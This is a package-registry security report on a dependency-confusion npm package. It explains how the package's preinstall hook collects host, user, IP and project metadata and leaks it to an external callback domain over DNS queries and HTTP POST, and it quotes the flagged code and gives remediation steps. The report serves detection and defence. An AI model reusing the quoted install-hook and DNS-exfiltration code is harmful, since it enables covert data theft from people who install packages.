registry / Data exfiltration / stillm4ddpocs-demo-gadget

stillm4ddpocs-demo-gadget

AUTHORISED SECURITY RESEARCH — dependency confusion proof of concept. This package was published because the name appeared in publicly served code but was unregistered on the public registry. If it is in your dependency tree, your resolver fetched an inte

This report shows the evidence for stillm4ddpocs-demo-gadget@999.9.20. 3 of 3 known versions are blocked or flagged. The newest version, 999.9.12, is blocked. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The package automatically performs broad host and project metadata collection during preinstall and exfiltrates it to a third-party callback. Its stated research purpose does not provide consent for this behavior in downstream installations.

Static reason

One or more suspicious static signals were detected.

Trigger

npm preinstall or require("stillm4ddpocs-demo-gadget")

Impact

Unconsented disclosure of user, host, network, path, and project metadata.

Mechanism

install-time host/project reconnaissance and multi-channel exfiltration

Attack narrative

On installation, npm runs index.js. It reads the consuming project's manifest and collects host, username, home directory, working directory, local/public IP information, DNS resolver information, and project metadata. It serializes that data, sends it in DNS labels to an external callback domain, and also POSTs it over HTTP and HTTPS.

AI rationale

Evidence

package.jsonindex.jsINIT_CWD/package.json

Network endpoints5

da51rv0hb2uc72tg4gvgdepinjcallbk1.oast.funapi.ipify.orgicanhazip.comifconfig.me/ipo-o.myaddr.l.google.com

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

preinstall executes index.js automatically.
Reads consuming project's package.json.
Collects host, user, home, CWD, local/public IP and resolver subnet.
Encodes collected JSON into DNS queries and POSTs it to an external callback.

Evidence against

No child-process execution, payload download, persistence, or destructive writes found.
Source does not read environment-variable values or file contents beyond the consumer manifest.

Behavioral surface

Source

CryptoEnvironmentVarsFilesystemNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 6.70 KB of source, external domains: api.ipify.org, icanhazip.com, ifconfig.me

Source & flagged code

6 flagged

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10"scripts": { "preinstall": "node index.js" }

High

Ai Review Evidence

preinstall executes index.js automatically.

package.jsonView on unpkg · L10

index.jsView file

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const http = require("http"); const https = require("https"); const CALLBACK = "[redacted].oast.fun"; // because they fail in different situations: the HTTPS lookup gives this // host's egress address and needs outbound HTTP; the DNS lookup gives the const urls = ["https://api.ipify.org", "https://icanhazip.com", "https://ifconfig.me/ip"]; const req = https.get(url, { timeout: 2000 }, (res) => {

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

36const root = process.env.INIT_CWD || process.cwd(); const manifest = path.join(root, "package.json"); if (!fs.existsSync(manifest)) return out; const pkg = JSON.parse(fs.readFileSync(manifest, "utf8")); out.name = pkg.name || "__unnamed";

High

Ai Review Evidence

Reads consuming project's package.json.

index.jsView on unpkg · L36

117uuid: crypto.randomUUID(), ip: localIPv4(), hostname: (() => { try { return os.hostname(); } catch (e) { return null; } })(), user: user, home: home, cwd: process.env.INIT_CWD || process.cwd(), public_ip: null, resolver_ip: null, client_subnet: null, poc: PACKAGE, parent: parent.name, author: parent.author || null, repository: parent.repository || null, homepage: parent.homepage || null

High

Ai Review Evidence

Collects host, user, home, CWD, local/public IP and resolver subnet.

index.jsView on unpkg · L117

146const hex = Buffer.from(body).toString("hex"); const chunks = hex.match(/.{1,60}/g) || []; dns.resolve(`u-${info.uuid}.n-${chunks.length}.${CALLBACK}`, () => {}); chunks.forEach((c, i) => { try { dns.resolve(`${i}-${c}.u-${info.uuid}.${CALLBACK}`, () => {}); } catch (e) {}

High

Ai Review Evidence

Encodes collected JSON into DNS queries and POSTs it to an external callback.

index.jsView on unpkg · L146

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10"scripts": { "preinstall": "node index.js" }

High

Ai Review Evidence

preinstall executes index.js automatically.

package.jsonView on unpkg · L10

index.jsView file

High

Trigger Reachable External Post Callback

Findings

6 High2 Medium4 Low

HighInstall Time Lifecycle Scriptspackage.json

HighTrigger Reachable External Post Callbackindex.js

HighAi Review Evidencepackage.json

HighAi Review Evidenceindex.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to stillm4ddpocs-demo-gadget@999.9.20.

The versions list below shows the verdict for each recorded version.

Avoid installing stillm4ddpocs-demo-gadget@999.9.20. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-23 03:30:25.106Z (UTC).

Source advisory published: 2026-08-22 20:00:30.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

3 known versions

999.9.12latestMaliciousMalwareBlockPublishedAug 22, 2026, 10:29 PM 999.9.20shownMaliciousData ExfiltrationBlockPublishedAug 22, 2026, 10:27 PM 999.9.10MaliciousData ExfiltrationBlockPublishedAug 22, 2026, 7:24 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Behavioral surface

Related packages

Other data exfiltration packages

Source & flagged code